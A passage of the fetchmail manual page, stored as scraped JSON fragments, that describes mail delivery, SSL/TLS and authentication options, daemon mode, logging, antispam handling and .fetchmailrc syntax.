qmail). All the\ndelivery-control mechanisms (such as .forward files) normally\navailable through your system MDA and local delivery agents will\ntherefore work automatically.\n" }, { "code": null, "e": 14117, "s": 13959, "text": "\nIf no port 25 listener is available, but your fetchmail configuration\nwas told about a reliable local MDA, it will use that MDA for local\ndelivery instead.\n" }, { "code": null, "e": 14722, "s": 14117, "text": "\nIf the program\nfetchmailconf is available, it will assist you in setting up and editing a\nfetchmailrc configuration. It runs under the X window system and\nrequires that the language Python and the Tk toolkit be present on your\nsystem. If you are first setting up fetchmail for single-user mode, it\nis recommended that you use Novice mode. Expert mode provides complete\ncontrol of fetchmail configuration, including the multidrop features.\nIn either case, the ’Autoprobe’ button will tell you the most capable\nprotocol a given mailserver supports, and warn you of potential problems\nwith that server.\n" }, { "code": null, "e": 14937, "s": 14724, "text": "\nEach server name that you specify following the options on the\ncommand line will be queried. If you don’t specify any servers\non the command line, each ’poll’ entry in your\n~/.fetchmailrc file will be queried.\n" }, { "code": null, "e": 15078, "s": 14937, "text": "\nTo facilitate the use of\nfetchmail in scripts and pipelines, it returns an appropriate exit code upon\ntermination -- see EXIT CODES below.\n" }, { "code": null, "e": 15234, "s": 15078, "text": "\nThe following options modify the behavior of fetchmail. It is\nseldom necessary to specify any of these once you have a\nworking .fetchmailrc file set up.\n" }, { "code": null, "e": 15342, "s": 15234, "text": "\nAlmost all options have a corresponding keyword which can be used to\ndeclare them in a\n.fetchmailrc file.\n" }, { "code": null, "e": 15474, "s": 15342, "text": "\nSome special options are not covered here, but are documented instead\nin sections on AUTHENTICATION and DAEMON MODE which follow.\n" }, { "code": null, "e": 15677, "s": 15474, "text": "\nNote that fetchmail may still try to negotiate TLS even if this option\nis not given. You can use the --sslproto option to defeat this\nbehavior or tell fetchmail to negotiate a particular SSL protocol.\n" }, { "code": null, "e": 16051, "s": 15677, "text": "\nIf no port is specified, the connection is attempted to the well known\nport of the SSL version of the base protocol. This is generally a\ndifferent port than the port used by the base protocol. For IMAP, this\nis port 143 for the clear protocol and port 993 for the SSL secured\nprotocol, for POP3, it is port 110 for the clear text and port 995 for\nthe encrypted variant.\n" }, { "code": null, "e": 16298, "s": 16051, "text": "\nIf your system lacks the corresponding entries from /etc/services, see\nthe --service option and specify the numeric port number as given in\nthe previous paragraph (unless your ISP had directed you to different\nports, which is uncommon however).\n" }, { "code": null, "e": 16439, "s": 16298, "text": "\nNOTE: If you use client authentication, the user name is fetched from the\ncertificate’s CommonName and overrides the name set with --user.\n" }, { "code": null, "e": 16501, "s": 16441, "text": " openssl x509 -in cert.pem -noout -md5 -fingerprint\n" }, { "code": null, "e": 16532, "s": 16501, "text": "\nFor details, see\nx509(1ssl).\n" }, { "code": null, "e": 16605, "s": 16534, "text": " --smtphost server1,server2/2525,server3,/var/imap/socket/lmtp\n" }, { "code": null, "e": 16725, "s": 16605, "text": "\nThis option can be used with ODMR, and will make fetchmail a relay\nbetween the ODMR server and SMTP or LMTP receiver.\n" }, { "code": null, "e": 17287, "s": 16725, "text": "\nA word of warning: the well-known\nprocmail(1)\npackage is very hard to configure properly, it has a very nasty \"fall\nthrough to the next rule\" behavior on delivery errors (even temporary\nones, such as out of disk space if another user’s mail daemon copies the\nmailbox around to purge old messages), so your mail will end up in the\nwrong mailbox sooner or later. The proper procmail configuration is\noutside the scope of this document though. Using\nmaildrop(1)\nis usually much easier, and many users find the filter syntax used by\nmaildrop easier to understand.\n" }, { "code": null, "e": 17483, "s": 17289, "text": "\nAn explicit --limit of 0 overrides any limits set in your\nrun control file. This option is intended for those needing to\nstrictly control fetch time due to expensive and variable phone rates.\n" }, { "code": null, "e": 17723, "s": 17483, "text": "\nCombined with --limitflush, it can be used to delete oversized\nmessages waiting on a server. In daemon mode, oversize notifications\nare mailed to the calling user (see the --warnings option). This\noption does not work with ETRN or ODMR.\n" }, { "code": null, "e": 17778, "s": 17725, "text": " interface/iii.iii.iii.iii[/mmm.mmm.mmm.mmm]\n" }, { "code": null, "e": 18231, "s": 17778, "text": "\nThe field before the first slash is the interface name (i.e. sl0, ppp0\netc.). The field before the second slash is the acceptable IP address.\nThe field after the second slash is a mask which specifies a range of\nIP addresses to accept. If no mask is present 255.255.255.255 is\nassumed (i.e. an exact match). This option is currently only supported\nunder Linux and FreeBSD. Please see the\nmonitor section for below for FreeBSD specific information.\n" }, { "code": null, "e": 18303, "s": 18231, "text": "\nNote that this option may be removed from a future fetchmail version.\n" }, { "code": null, "e": 18375, "s": 18303, "text": "\nNote that this option may be removed from a future fetchmail version.\n" }, { "code": null, "e": 18861, "s": 18375, "text": "\nThis option changes the header\nfetchmail assumes will carry a copy of the mail’s envelope address. Normally\nthis is ’X-Envelope-To’, but as this header is not standard, practice\nvaries. See the discussion of multidrop address handling below. As a\nspecial case, ’envelope \"Received\"’ enables parsing of sendmail-style\nReceived lines. This is the default, and it should not be necessary\nunless you have globally disabled Received parsing with ’no envelope’\nin the .fetchmailrc file.\n" }, { "code": null, "e": 19120, "s": 18861, "text": "\nThe optional count argument (only available in the configuration file)\ndetermines how many header lines of this kind are skipped. A count of 1\nmeans: skip the first, take the second. A count of 2 means: skip the\nfirst and second, take the third, and so on.\n" }, { "code": null, "e": 19138, "s": 19120, "text": "\n’Delivered-To:’\n" }, { "code": null, "e": 19646, "s": 19138, "text": "\nmessage header. Whenever qmail delivers a message to a local mailbox\nit puts the username and hostname of the envelope recipient on this\nline. The major reason for this is to prevent mail loops. To set up\nqmail to batch mail for a disconnected site the ISP-mailhost will have\nnormally put that site in its ’Virtualhosts’ control file so it will\nadd a prefix to all mail addresses for this site. This results in mail\nsent to ’[email protected]’ having a\n’Delivered-To:’ line of the form:\n" }, { "code": null, "e": 19705, "s": 19646, "text": "\nDelivered-To: [email protected]\n" }, { "code": null, "e": 20057, "s": 19705, "text": "\nThe ISP can make the ’mbox-userstr-’ prefix anything they choose\nbut a string matching the user host name is likely.\nBy using the option ’envelope Delivered-To:’ you can make fetchmail reliably\nidentify the original envelope recipient, but you have to strip the\n’mbox-userstr-’ prefix to deliver to the correct user.\nThis is what this option is for.\n" }, { "code": null, "e": 20661, "s": 20059, "text": "\nIf the mailserver is a Unix machine on which you have an ordinary user\naccount, your regular login name and password are used with\nfetchmail. If you use the same login name on both the server and the client machines,\nyou needn’t worry about specifying a user-id with the\n-u option -- the default behavior is to use your login name on the\nclient machine as the user-id on the server machine. If you use a\ndifferent login name on the server machine, specify that login name\nwith the\n-u option. e.g. if your login name is ’jsmith’ on a machine named ’mailgrunt’,\nyou would start\nfetchmail as follows:\n" }, { "code": null, "e": 21176, "s": 20661, "text": "\nIf you do not specify a password, and\nfetchmail cannot extract one from your\n~/.fetchmailrc file, it will look for a\n~/.netrc file in your home directory before requesting one interactively; if an\nentry matching the mailserver is found in that file, the password will\nbe used. Fetchmail first looks for a match on poll name; if it finds none,\nit checks for a match on via name. See the\nftp(1)\nman page for details of the syntax of the\n~/.netrc file. To show a practical example, a .netrc might look like\nthis:\n" }, { "code": null, "e": 21233, "s": 21176, "text": "machine hermes.example.org\nlogin joe\npassword topsecret\n" }, { "code": null, "e": 21327, "s": 21233, "text": "\nThis feature may allow you to avoid duplicating password\ninformation in more than one file.\n" }, { "code": null, "e": 21619, "s": 21327, "text": "\nOn mailservers that do not provide ordinary user accounts, your user-id and\npassword are usually assigned by the server administrator when you apply for\na mailbox on the server. Contact your server administrator if you don’t know\nthe correct user-id and password for your mailbox account.\n" }, { "code": null, "e": 22265, "s": 21619, "text": "\nEarly versions of POP3 (RFC1081, RFC1225) supported a crude form of\nindependent authentication using the\nrhosts file on the mailserver side. Under this RPOP variant, a fixed\nper-user ID equivalent to a password was sent in clear over a link to\na reserved port, with the command RPOP rather than PASS to alert the\nserver that it should do special checking. RPOP is supported\nby\nfetchmail (you can specify ’protocol RPOP’ to have the program send ’RPOP’\nrather than ’PASS’) but its use is strongly discouraged, and support\nwill be removed from a future fetchmail version. This\nfacility was vulnerable to spoofing and was withdrawn in RFC1460.\n" }, { "code": null, "e": 22675, "s": 22265, "text": "\nRFC1460 introduced APOP authentication. In this variant of POP3,\nyou register an APOP password on your server host (on some servers, the\nprogram to do this is called popauth(8)). You put the same\npassword in your ~/.fetchmailrc file. Each time fetchmail\nlogs in, it sends an MD5 hash of your password and the server greeting\ntime to the server, which can verify it by checking its authorization\ndatabase.\n" }, { "code": null, "e": 22761, "s": 22675, "text": "\nNote that APOP is no longer considered resistant against\nman-in-the-middle attacks.\n" }, { "code": null, "e": 23095, "s": 22761, "text": "\nfetchmail will always use the RETR command if \"fetchall\" is set.\nfetchmail will also use the RETR command if \"keep\" is set and \"uidl\" is unset.\nFinally,\nfetchmail will use the RETR command on Maillennium POP3/PROXY\nservers (used by Comcast) to avoid a deliberate TOP misinterpretation in\nthis server that causes message corruption.\n" }, { "code": null, "e": 23229, "s": 23095, "text": "\nIn all other cases,\nfetchmail will use the TOP command. This implies that in \"keep\" setups, \"uidl\"\nmust be set if \"TOP\" is desired.\n" }, { "code": null, "e": 23485, "s": 23229, "text": "\nNote that this description is true for the current version of fetchmail, but\nthe behavior may change in future versions. In particular, fetchmail may\nprefer the RETR command because the TOP command causes much grief on\nsome servers and is only optional.\n" }, { "code": null, "e": 23850, "s": 23485, "text": "\nIf your fetchmail was built with Kerberos support and you specify\nKerberos authentication (either with --auth or the .fetchmailrc\noption authenticate kerberos_v4) it will try to get a Kerberos\nticket from the mailserver at the start of each query. Note: if\neither the pollname or via name is ’hesiod’, fetchmail will try to use\nHesiod to look up the mailserver.\n" }, { "code": null, "e": 24256, "s": 23850, "text": "\nIf you use POP3 or IMAP with GSSAPI authentication, fetchmail will\nexpect the server to have RFC1731- or RFC1734-conforming GSSAPI\ncapability, and will use it. Currently this has only been tested over\nKerberos V, so you’re expected to already have a ticket-granting\nticket. You may pass a username different from your principal name\nusing the standard --user command or by the .fetchmailrc\noption user.\n" }, { "code": null, "e": 24611, "s": 24256, "text": "\nIf your IMAP daemon returns the PREAUTH response in its greeting line,\nfetchmail will notice this and skip the normal authentication step.\nThis can be useful, e.g. if you start imapd explicitly using ssh.\nIn this case you can declare the authentication value ’ssh’ on that\nsite entry to stop .fetchmail from asking you for a password\nwhen it starts up.\n" }, { "code": null, "e": 24963, "s": 24611, "text": "\nIf you use client authentication with TLS1 and your IMAP daemon\nreturns the AUTH=EXTERNAL response, fetchmail will notice this\nand will use the authentication shortcut and will not send the\npassphrase. In this case you can declare the authentication value ’external’\n\n on that site to stop fetchmail from asking you for a password\nwhen it starts up.\n" }, { "code": null, "e": 25202, "s": 24963, "text": "\nIf you are using POP3, and the server issues a one-time-password\nchallenge conforming to RFC1938, fetchmail will use your\npassword as a pass phrase to generate the required response. This\navoids sending secrets over the net unencrypted.\n" }, { "code": null, "e": 25440, "s": 25202, "text": "\nCompuserve’s RPA authentication is supported. If you\ncompile in the support, fetchmail will try to perform an RPA pass-phrase\nauthentication instead of sending over the password en clair if it\ndetects \"@compuserve.com\" in the hostname.\n" }, { "code": null, "e": 25904, "s": 25440, "text": "\nIf you are using IMAP, Microsoft’s NTLM authentication (used by Microsoft\nExchange) is supported. If you compile in the support, fetchmail\nwill try to perform an NTLM authentication (instead of sending over the\npassword en clair) whenever the server returns AUTH=NTLM in its\ncapability response. Specify a user option value that looks like\n’user@domain’: the part to the left of the @ will be passed as the\nusername and the part to the right as the NTLM domain.\n" }, { "code": null, "e": 26641, "s": 25904, "text": "\nYou can access SSL encrypted services by specifying the --ssl option.\nYou can also do this using the \"ssl\" user option in the .fetchmailrc\nfile. With SSL encryption enabled, queries are initiated over a connection\nafter negotiating an SSL session, and the connection fails if SSL cannot\nbe negotiated. Some services, such as POP3 and IMAP, have different\nwell known ports defined for the SSL encrypted services. The encrypted\nports will be selected automatically when SSL is enabled and no explicit\nport is specified. The --sslproto option can be used to select the SSL\nprotocols (default: v2 or v3). The --sslcertck command line or\nsslcertck run control file option should be used to force strict\ncertificate checking - see below.\n" }, { "code": null, "e": 27023, "s": 26641, "text": "\nIf SSL is not configured, fetchmail will usually opportunistically try to use\nTLS. TLS can be enforced by using --sslproto \"TLS1\". TLS\nconnections use the same port as the unencrypted version of the\nprotocol and negotiate TLS via special parameter. The --sslcertck\ncommand line or sslcertck run control file option should be used to\nforce strict certificate checking - see below.\n" }, { "code": null, "e": 27805, "s": 27023, "text": "\n--sslcheck recommended: When connecting to an SSL or TLS encrypted server, the server presents a certificate\nto the client for validation. The certificate is checked to verify that\nthe common name in the certificate matches the name of the server being\ncontacted and that the effective and expiration dates in the certificate\nindicate that it is currently valid. If any of these checks fail, a warning\nmessage is printed, but the connection continues. The server certificate\ndoes not need to be signed by any specific Certifying Authority and may\nbe a \"self-signed\" certificate. If the --sslcertck command line option\nor sslcertck run control file option is used, fetchmail will instead\nabort if any of these checks fail. Use of the sslcertck or --sslcertck\noption is advised.\n" }, { "code": null, "e": 28423, "s": 27805, "text": "\nSome SSL encrypted servers may request a client side certificate. A client\nside public SSL certificate and private SSL key may be specified. If\nrequested by the server, the client certificate is sent to the server for\nvalidation. Some servers may require a valid client certificate and may\nrefuse connections if a certificate is not provided or if the certificate\nis not valid. Some servers may require client side certificates be signed\nby a recognized Certifying Authority. The format for the key files and\nthe certificate files is that required by the underlying SSL libraries\n(OpenSSL in the general case).\n" }, { "code": null, "e": 29107, "s": 28423, "text": "\nA word of care about the use of SSL: While above mentioned\nsetup with self-signed server certificates retrieved over the wires\ncan protect you from a passive eavesdropper, it doesn’t help against an\nactive attacker. It’s clearly an improvement over sending the\npasswords in clear, but you should be aware that a man-in-the-middle\nattack is trivially possible (in particular with tools such as dsniff,\nhttp://monkey.org/~dugsong/dsniff/). Use of strict certificate checking\nwith a certification authority recognized by server and client, or\nperhaps of an SSH tunnel (see below for some examples) is preferable if\nyou care seriously about the security of your mailbox and passwords.\n" }, { "code": null, "e": 29367, "s": 29107, "text": "\nfetchmail also supports authentication to the ESMTP server on the client side\naccording to RFC 2554. You can specify a name/password pair to be\nused with the keywords ’esmtpname’ and ’esmtppassword’; the former\ndefaults to the username of the calling user.\n" }, { "code": null, "e": 29396, "s": 29369, "text": "\nExample: simply invoking\n" }, { "code": null, "e": 29688, "s": 29396, "text": "\nIt is also possible to set a polling interval\nin your ~/.fetchmailrc file by saying ’set daemon <interval>’,\nwhere <interval> is an integer number of seconds. If you do this,\nfetchmail will always start in daemon mode unless you override it with\nthe command-line option --daemon 0 or -d0.\n" }, { "code": null, "e": 30036, "s": 29688, "text": "\nOnly one daemon process is permitted per user; in daemon mode,\nfetchmail sets up a per-user lockfile to guarantee this.\n(You can however cheat and set the FETCHMAILHOME environment variable to\novercome this setting, but in that case, it is your responsibility to\nmake sure you aren’t polling the same server with two processes at the\nsame time.)\n" }, { "code": null, "e": 30358, "s": 30036, "text": "\nNormally, calling fetchmail with a daemon in the background sends a\nwake-up signal to the daemon and quits without output. The background\ndaemon then starts its next poll cycle immediately. The wake-up signal,\nSIGUSR1, can also be sent manually. The wake-up action also clears any\n\nauthentication or multiple timeouts.\n" }, { "code": null, "e": 30723, "s": 30358, "text": "\nThe option\n--quit will kill a running daemon process instead of waking it up (if there\nis no such process, fetchmail will notify you.\nIf the --quit option appears last on the command line, fetchmail\nwill kill the running daemon process and then quit. Otherwise,\nfetchmail will first kill a running daemon process and then\ncontinue running with the other options.\n" }, { "code": null, "e": 31308, "s": 30723, "text": "\nThe\n-L <filename> or\n--logfile <filename> option (keyword: set logfile) is only effective when fetchmail is\ndetached. This option allows you to redirect status messages\ninto a specified logfile (follow the option with the logfile name). The\nlogfile is opened for append, so previous messages aren’t deleted. This\nis primarily useful for debugging configurations. Note that fetchmail\ndoes not detect if the logfile is rotated, the logfile is only opened\nonce when fetchmail starts. You need to restart fetchmail after rotating\nthe logfile and before compressing it (if applicable).\n" }, { "code": null, "e": 32014, "s": 31308, "text": "\nThe\n--syslog option (keyword: set syslog) allows you to redirect status and error\nmessages emitted to the\nsyslog(3)\nsystem daemon if available.\nMessages are logged with an id of fetchmail, the facility LOG_MAIL,\nand priorities LOG_ERR, LOG_ALERT or LOG_INFO.\nThis option is intended for logging status and error messages which\nindicate the status of the daemon and the results while fetching mail\nfrom the server(s).\nError messages for command line options and parsing the .fetchmailrc\nfile are still written to stderr, or to the specified log file.\nThe\n--nosyslog option turns off use of\nsyslog(3),\nassuming it’s turned on in the\n~/.fetchmailrc file, or that the\n-L or\n--logfile <file> option was used.\n" }, { "code": null, "e": 32354, "s": 32014, "text": "\nThe\n-N or\n--nodetach option suppresses backgrounding and detachment of the\ndaemon process from its control terminal. This is useful\nfor debugging or when fetchmail runs as the child of a supervisor\nprocess such as\ninit(8)\nor Gerrit Pape’s\nrunit. Note that this also causes the logfile option to be\nignored (though perhaps it shouldn’t).\n" }, { "code": null, "e": 32892, "s": 32354, "text": "\nNote that while running in daemon mode polling a POP2 or IMAP2bis server,\ntransient errors (such as DNS failures or sendmail delivery refusals)\nmay force the fetchall option on for the duration of the next polling\ncycle. This is a robustness feature. It means that if a message is\nfetched (and thus marked seen by the mailserver) but not delivered\nlocally due to some transient error, it will be re-fetched during the\nnext poll cycle. (The IMAP logic doesn’t delete messages until\nthey’re delivered, so this problem does not arise.)\n" }, { "code": null, "e": 33337, "s": 32892, "text": "\nIf you touch or change the\n~/.fetchmailrc file while fetchmail is running in daemon mode, this will be detected\nat the beginning of the next poll cycle. When a changed\n~/.fetchmailrc is detected, fetchmail rereads it and restarts from scratch (using\nexec(2); no state information is retained in the new instance).\nNote also that if you break the\n~/.fetchmailrc file’s syntax, the new instance will softly and silently vanish away\non startup.\n" }, { "code": null, "e": 34114, "s": 33339, "text": "\nThe\n--postmaster <name> option (keyword: set postmaster) specifies the last-resort username to\nwhich multidrop mail is to be forwarded if no matching local recipient\ncan be found. It is also used as destination of undeliverable mail if\nthe ’bouncemail’ global option is off and additionally for spam-blocked\nmail if the ’bouncemail’ global option is off and the ’spambounce’\nglobal option is on. This option defaults to the user who invoked\nfetchmail. If the invoking user is root, then the default of this option is\nthe user ’postmaster’. Setting postmaster to the empty string causes\nsuch mail as described above to be discarded - this however is usually a\nbad idea.\nSee also the description of the ’FETCHMAILUSER’ environment variable in\nthe ENVIRONMENT section below.\n" }, { "code": null, "e": 34194, "s": 34114, "text": "\nThe\n--nobounce behaves like the \"set no bouncemail\" global option, which see.\n" }, { "code": null, "e": 34711, "s": 34194, "text": "\nThe\n--invisible option (keyword: set invisible) tries to make fetchmail invisible.\nNormally, fetchmail behaves like any other MTA would -- it generates a\nReceived header into each message describing its place in the chain of\ntransmission, and tells the MTA it forwards to that the mail came from\nthe machine fetchmail itself is running on. If the invisible option\nis on, the Received header is suppressed and fetchmail tries to spoof\nthe MTA it forwards to into thinking it came directly from the\nmailserver host.\n" }, { "code": null, "e": 34958, "s": 34711, "text": "\nThe\n--showdots option (keyword: set showdots) forces fetchmail to show progress dots\neven if the current tty is not stdout (for example logfiles).\nFetchmail shows the dots by default when run in nodetach mode or when\ndaemon mode is not enabled.\n" }, { "code": null, "e": 35678, "s": 34958, "text": "\nBy specifying the\n--tracepolls option, you can ask fetchmail to add information to the Received\nheader on the form \"polling {label} account {user}\", where {label} is\nthe account label (from the specified rcfile, normally ~/.fetchmailrc)\nand {user} is the username which is used to log on to the mail\nserver. This header can be used to make filtering email where no\nuseful header information is available and you want mail from\ndifferent accounts sorted into different mailboxes (this could, for\nexample, occur if you have an account on the same server running a\nmailing list, and are subscribed to the list using that account). The\ndefault is not adding any such header. In\n.fetchmailrc, this is called ’tracepolls’.\n" }, { "code": null, "e": 36272, "s": 35680, "text": "\nWhen forwarding to an MDA, however, there is more possibility\nof error. Some MDAs are ’safe’ and reliably return a nonzero status\non any delivery error, even one due to temporary resource limits.\nThe\nmaildrop(1)\nprogram is like this; so are most programs designed as mail transport\nagents, such as\nsendmail(1),\nincluding the sendmail wrapper of Postfix and\nexim(1).\nThese programs give back a reliable positive acknowledgement and\ncan be used with the mda option with no risk of mail loss. Unsafe\nMDAs, though, may return 0 even on delivery failure. If this\nhappens, you will lose mail.\n" }, { "code": null, "e": 36658, "s": 36272, "text": "\nThe normal mode of fetchmail is to try to download only ’new’\nmessages, leaving untouched (and undeleted) messages you have already\nread directly on the server (or fetched with a previous fetchmail\n--keep). But you may find that messages you’ve already read on the\nserver are being fetched (and deleted) even when you don’t specify\n--all. There are several reasons this can happen.\n" }, { "code": null, "e": 36882, "s": 36658, "text": "\nOne could be that you’re using POP2. The POP2 protocol includes no\nrepresentation of ’new’ or ’old’ state in messages, so fetchmail\nmust treat all messages as new all the time. But POP2 is obsolete, so\nthis is unlikely.\n" }, { "code": null, "e": 37288, "s": 36882, "text": "\nA potential POP3 problem might be servers that insert messages\nin the middle of mailboxes (some VMS implementations of mail are\nrumored to do this). The fetchmail code assumes that new\nmessages are appended to the end of the mailbox; when this is not true\nit may treat some old messages as new and vice versa. Using UIDL whilst\nsetting fastuidl 0 might fix this, otherwise, consider switching to IMAP.\n" }, { "code": null, "e": 37494, "s": 37288, "text": "\nYet another POP3 problem is that if they can’t make tempfiles in the\nuser’s home directory, some POP3 servers will hand back an\nundocumented response that causes fetchmail to spuriously report \"No\nmail\".\n" }, { "code": null, "e": 38220, "s": 37494, "text": "\nThe IMAP code uses the presence or absence of the server flag \\Seen\nto decide whether or not a message is new. This isn’t the right thing\nto do, fetchmail should check the UIDVALIDITY and use UID, but it\ndoesn’t do that yet. Under Unix, it counts on your IMAP server to notice\nthe BSD-style Status flags set by mail user agents and set the \\Seen\nflag from them when appropriate. All Unix IMAP servers we know of do\nthis, though it’s not specified by the IMAP RFCs. If you ever trip over\na server that doesn’t, the symptom will be that messages you have\nalready read on your host will look new to the server. In this\n(unlikely) case, only messages you fetched with fetchmail --keep\nwill be both undeleted and marked old.\n" }, { "code": null, "e": 38431, "s": 38220, "text": "\nIn ETRN and ODMR modes, fetchmail does not actually retrieve messages;\ninstead, it asks the server’s SMTP listener to start a queue flush\nto the client via SMTP. Therefore it sends only undelivered messages.\n" }, { "code": null, "e": 38491, "s": 38433, "text": "\nNewer versions of\nsendmail return an error code of 571.\n" }, { "code": null, "e": 38716, "s": 38491, "text": "\nAccording to RFC2821, the correct thing to return in this situation is\n550 \"Requested action not taken: mailbox unavailable\" (the draft adds\n\"[E.g., mailbox not found, no access, or command rejected for policy\nreasons].\").\n" }, { "code": null, "e": 38803, "s": 38716, "text": "\nOlder versions of the\nexim MTA return 501 \"Syntax error in parameters or arguments\".\n" }, { "code": null, "e": 38855, "s": 38803, "text": "\nThe\npostfix MTA runs 554 as an antispam response.\n" }, { "code": null, "e": 38971, "s": 38855, "text": "\nZmailer may reject code with a 500 response (followed by an enhanced status\ncode that contains more information).\n" }, { "code": null, "e": 39314, "s": 38971, "text": "\nReturn codes which\nfetchmail treats as antispam responses and discards\nthe message can be set with the ’antispam’ option. This is one of the\nonly three circumstance under which fetchmail ever discards mail (the others\nare the 552 and 553 errors described below, and the suppression of\nmultidropped messages with a message-ID already seen).\n" }, { "code": null, "e": 39567, "s": 39314, "text": "\nIf\nfetchmail is fetching from an IMAP server, the antispam response will be detected and\nthe message rejected immediately after the headers have been fetched,\nwithout reading the message body. Thus, you won’t pay for downloading\nspam message bodies.\n" }, { "code": null, "e": 39622, "s": 39567, "text": "\nBy default, the list of antispam responses is empty.\n" }, { "code": null, "e": 39808, "s": 39622, "text": "\nIf the spambounce global option is on, mail that is spam-blocked\ntriggers an RFC1892/RFC1894 bounce message informing the originator that\nwe do not accept mail from it. See also BUGS.\n" }, { "code": null, "e": 40032, "s": 39812, "text": "\nTo protect the security of your passwords,\nyour ~/.fetchmailrc may not normally have more than 0600 (u=rw,g=,o=) permissions;\nfetchmail will complain and exit otherwise (this check is suppressed when\n--version is on).\n" }, { "code": null, "e": 40150, "s": 40032, "text": "\nYou may read the .fetchmailrc file as a list of commands to\nbe executed when\nfetchmail is called with no arguments.\n" }, { "code": null, "e": 40345, "s": 40150, "text": "\nComments begin with a ’#’ and extend through the end of the line.\nOtherwise the file consists of a series of server entries or global\noption statements in a free-format, token-oriented syntax.\n" }, { "code": null, "e": 40899, "s": 40345, "text": "\nThere are four kinds of tokens: grammar keywords, numbers\n(i.e. decimal digit sequences), unquoted strings, and quoted strings.\nA quoted string is bounded by double quotes and may contain\nwhitespace (and quoted digits are treated as a string). Note that\nquoted strings will also contain line feed characters if they run across\ntwo or more lines, unless you use a backslash to join lines (see below).\nAn unquoted string is any whitespace-delimited token that is neither\nnumeric, string quoted nor contains the special characters ’,’, ’;’,\n’:’, or ’=’.\n" }, { "code": null, "e": 41510, "s": 40899, "text": "\nAny amount of whitespace separates tokens in server entries, but is\notherwise ignored. You may use backslash escape sequences (\\n for LF,\n\\t for HT, \\b for BS, \\r for CR, \\nnn for decimal (where\nnnn cannot start with a 0), \\0ooo for octal, and \\xhh for\nhex) to embed non-printable characters or string delimiters in strings.\nIn quoted strings, a backslash at the very end of a line will cause the\nbackslash itself and the line feed (LF or NL, new line) character to be\nignored, so that you can wrap long strings. Without the backslash at the\nline end, the line feed character would become part of the string.\n" }, { "code": null, "e": 41985, "s": 41510, "text": "\nWarning: while these resemble C-style escape sequences, they are not the same.\nfetchmail only supports these eight styles. C supports more escape\nsequences that consist of backslash (\\) and a single character, but\ndoes not support decimal codes and does not require the leading 0 in\noctal notation. Example: fetchmail interprets \\233 the same as \\xE9\n(Latin small letter e with acute), where C would interpret \\233 as\noctal 0233 = \\x9B (CSI, control sequence introducer).\n" }, { "code": null, "e": 42239, "s": 41985, "text": "\nEach server entry consists of one of the keywords ’poll’ or ’skip’,\nfollowed by a server name, followed by server options, followed by any\nnumber of user descriptions. Note: the most common cause of syntax\nerrors is mixing up user and server options.\n" }, { "code": null, "e": 42312, "s": 42239, "text": "\nFor backward compatibility, the word ’server’ is a synonym for ’poll’.\n" }, { "code": null, "e": 42579, "s": 42312, "text": "\nYou can use the noise keywords ’and’, ’with’,\n’has’, ’wants’, and ’options’ anywhere in an entry to make\nit resemble English. They’re ignored, but but can make entries much\neasier to read at a glance. The punctuation characters ’:’, ’;’ and\n’,’ are also ignored.\n" }, { "code": null, "e": 42620, "s": 42583, "text": "\nHere are the legal global options:\n" }, { "code": null, "e": 42659, "s": 42622, "text": "\nHere are the legal server options:\n" }, { "code": null, "e": 42696, "s": 42661, "text": "\nHere are the legal user options:\n" }, { "code": null, "e": 42763, "s": 42698, "text": "\nRemember that all user options must follow all server options.\n" }, { "code": null, "e": 43188, "s": 42763, "text": "\nIn the .fetchmailrc file, the ’envelope’ string argument may be\npreceded by a whitespace-separated number. This number, if specified,\nis the number of such headers to skip over (that is, an argument of 1\nselects the second header of the given type). This is sometime useful\nfor ignoring bogus envelope headers created by an ISP’s local delivery\nagent or internal forwards (through mail inspection systems, for\ninstance).\n" }, { "code": null, "e": 43333, "s": 43188, "text": "\nThe ’folder’ and ’smtphost’ options (unlike their command-line\nequivalents) can take a space- or comma-separated list of names\nfollowing them.\n" }, { "code": null, "e": 43755, "s": 43333, "text": "\nAll options correspond to the obvious command-line arguments, except\nthe following: ’via’, ’interval’, ’aka’, ’is’, ’to’, ’dns’/’no dns’,\n’checkalias’/’no checkalias’, ’password’, ’preconnect’, ’postconnect’,\n’localdomains’, ’stripcr’/’no stripcr’, ’forcecr’/’no forcecr’,\n’pass8bits’/’no pass8bits’ ’dropstatus/no dropstatus’,\n’dropdelivered/no dropdelivered’, ’mimedecode/no mimedecode’, ’no idle’,\nand ’no envelope’.\n" }, { "code": null, "e": 44148, "s": 43755, "text": "\nThe ’via’ option is for if you want to have more\nthan one configuration pointing at the same site. If it is present,\nthe string argument will be taken as the actual DNS name of the\nmailserver host to query.\nThis will override the argument of poll, which can then simply be a\ndistinct label for the configuration (e.g. what you would give on the\ncommand line to explicitly query this host).\n" }, { "code": null, "e": 44387, "s": 44148, "text": "\nThe ’interval’ option (which takes a numeric argument) allows you to poll a\nserver less frequently than the basic poll interval. If you say\n’interval N’ the server this option is attached to will only be\nqueried every N poll intervals.\n" }, { "code": null, "e": 45004, "s": 44387, "text": "\nThe ’is’ or ’to’ keywords associate the following local (client)\nname(s) (or server-name to client-name mappings separated by =) with\nthe mailserver user name in the entry. If an is/to list has ’*’ as\nits last name, unrecognized names are simply passed through. Note that\nuntil fetchmail version 6.3.4 inclusively, these lists could only\ncontain local parts of user names (fetchmail would only look at the part\nbefore the @ sign). fetchmail versions 6.3.5 and\nnewer support full addresses on the left hand side of these mappings,\nand they take precedence over any ’localdomains’, ’aka’, ’via’ or\nsimilar mappings.\n" }, { "code": null, "e": 45353, "s": 45004, "text": "\nA single local name can be used to support redirecting your mail when\nyour username on the client machine is different from your name on the\nmailserver. When there is only a single local name, mail is forwarded\nto that local username regardless of the message’s Received, To, Cc,\nand Bcc headers. In this case,\nfetchmail never does DNS lookups.\n" }, { "code": null, "e": 45894, "s": 45353, "text": "\nWhen there is more than one local name (or name mapping),\nfetchmail looks at the envelope header, if configured, and\notherwise at the Received, To, Cc, and Bcc headers of retrieved mail\n(this is ’multidrop mode’). It looks for addresses with hostname parts\nthat match your poll name or your ’via’, ’aka’ or ’localdomains’\noptions, and usually also for hostname parts which DNS tells it are\naliases of the mailserver. See the discussion of ’dns’, ’checkalias’,\n’localdomains’, and ’aka’ for details on how matching addresses are\nhandled.\n" }, { "code": null, "e": 46191, "s": 45894, "text": "\nIf fetchmail cannot match any mailserver usernames or\nlocaldomain addresses, the mail will be bounced.\nNormally it will be bounced to the sender, but if the ’bouncemail’\nglobal option is off, the mail will go to the local postmaster instead.\n(see the ’postmaster’ global option). See also BUGS.\n" }, { "code": null, "e": 46564, "s": 46191, "text": "\nThe ’dns’ option (normally on) controls the way addresses from\nmultidrop mailboxes are checked. On, it enables logic to check each\nhost address that does not match an 